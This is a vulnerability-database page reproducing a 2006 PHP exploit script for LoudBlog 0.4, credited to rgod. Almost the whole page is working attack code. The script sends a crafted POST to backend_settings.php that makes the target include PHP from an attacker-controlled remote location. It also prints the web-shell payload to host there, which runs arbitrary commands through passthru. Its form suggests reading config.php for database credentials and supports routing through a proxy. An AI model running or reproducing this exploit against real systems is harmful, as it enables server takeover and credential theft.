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LoudBlog <= 0.4 (path) Arbitrary Remote Inclusion Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

LoudBlog 0.4 Arbitrary Remote Inclusion Exploit. Executes remote commands through LoudBlog 0.

Code

                                                &#60;?php
#   ---loudblog_04_incl_xpl.php                             8.15 20/01/2006    #
#                                                                              #
#                 LoudBlog 0.4 remote commands execution                       #
#                              coded by rgod                                   #
#                  site: http://retrogod.altervista.org                        #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: &#34;The general that hearkens to my counsel and acts upon it, will    #
#  conquer:  let such a one be retained in command! The general that hearkens  #
#  not to my counsel nor acts upon it, will suffer defeat:--let such a one be  #
#  dismissed!&#34;                                                                 #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 5);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62; ******LoudBlog 4.0 remote commands execution***********
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
******LoudBlog 4.0 remote commands execution*********** &#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at        &#60;a href=&#34;http://rgod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;  &#60;form
name=&#34;form1&#34; method=&#34;post&#34;   action=&#34;&#39;.$SERVER[PHP_SELF].&#39;&#34;&#62;           &#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;host&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;* target    (ex:www.sitename.com)
&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;  &#60;span class=&#34;Stile5&#34;&#62;* path (ex:
/loudblog/ or just / ) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;cmd&#34;&#62;        &#60;span
class=&#34;Stile5&#34;&#62; * specify a command  (&#34;cat ./../config.php&#34; to see database
username & password)                    &#60;/span&#62;&#60;/p&#62;    &#60;p&#62;    &#60;input type=&#34;text&#34;
name=&#34;LOCATION&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; * a remote location ( ex: http://www.somes
ite.com) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;speci
fy  a  port other than  80 (default value)&#60;/span&#62; &#60;/p&#62;   &#60;p&#62;&#60;input   type=&#34;text&#34;
name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;send  exploit through  an HTTP proxy (ip:port)
&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;   &#60;/td&#62;
&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
  while ($ii &#60;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
      for ($li=0; $li&#60;=15; $li++) {
        echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
		}
      $ki=$ki+16;
      echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
    }
    if (strlen($datai)==1) {
      echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;
    }
    else {
      echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
  }
  for ($li=$ci*16; $li&#60;=strlen($headeri); $li++) {
    echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
  }
  echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}

$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
    echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo &#39;Not a valid prozy...&#39;;
    die;
    }
  echo &#34;OK.&#60;br&#62;&#34;;
  echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
  if ($proxy==&#39;&#39;) {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(&#39;:&#39;,$proxy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &#60; 0) {
    echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
  }
  else {
    echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
    $html= &#39;&#39;;
    socket_write($socket, $packet, strlen($packet));
    echo &#34;Reading response:&#60;br&#62;&#34;;
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo &#34;Closing socket...&#34;;
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid prozy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$CMD=$_POST[cmd];
$LOCATION=$_POST[LOCATION];$proxy=$_POST[proxy];

if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($CMD&#60;&#62;&#39;&#39;) and ($LOCATION&#60;&#62;&#39;&#39;))
{
  $port=intval(trim($port));
  if ($port==&#39;&#39;) {$port=80;}
  if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
  $host=str_replace(&#34;\r\n&#34;,&#34;&#34;,$host);
  $path=str_replace(&#34;\r\n&#34;,&#34;&#34;,$path);
  $CMD=urlencode($CMD);
  $LOCATION=urlencode($LOCATION);

  #STEP X -&#62; one and unique, arbitrary remote inclusion...
  $data=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
  $data.=&#34;Content-Disposition: form-data; name=\&#34;language\&#34;\r\n&#34;;
  $data.=&#34;Content-Type:\r\n\r\n&#34;;
  $data.=&#34;suntzu\r\n&#34;;
  $data.=&#34;-----------------------------7d529a1d23092a--\r\n&#34;;
  $packet=&#34;POST &#34;.$p.&#34;loudblog/inc/backend_settings.php?cmd=&#34;.$CMD.&#34;&GLOBALS[path]=&#34;.$LOCATION.&#34; HTTP/1.1\r\n&#34;;
  $packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
  $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
  $packet.=&#34;User-Agent: Googlebot 2.1\r\n&#34;;
  $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
  $packet.=&#34;Connection: Close\r\n\r\n&#34;;
  $packet.=$data;
  show($packet);
  sendpacketii($packet);
  if (eregi(&#34;HiMaster!&#34;,$html)) {echo &#34;Exploit succeeded...&#34;;}
			   else {echo &#34;Exploit failed...&#34;;}
}
else
{echo &#34;Note: on remote location you need this code in &#60;br&#62;
        http:/[remote_location]/loudblog/lang/suntzu.php/index.html :&#60;br&#62;&#34;;
 echo  nl2br(htmlentities(&#34;
        &#60;?php
        echo\&#34;HiMaster!\&#34;;ini_set(\&#34;max_execution_time\&#34;,0);passthru(\$cmd);
        ?&#62;
        &#34;));
  echo &#34;Fill * required fields, optionally specify a proxy...&#34;;}

?&#62;

# milw0rm.com [2006-02-03]

                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20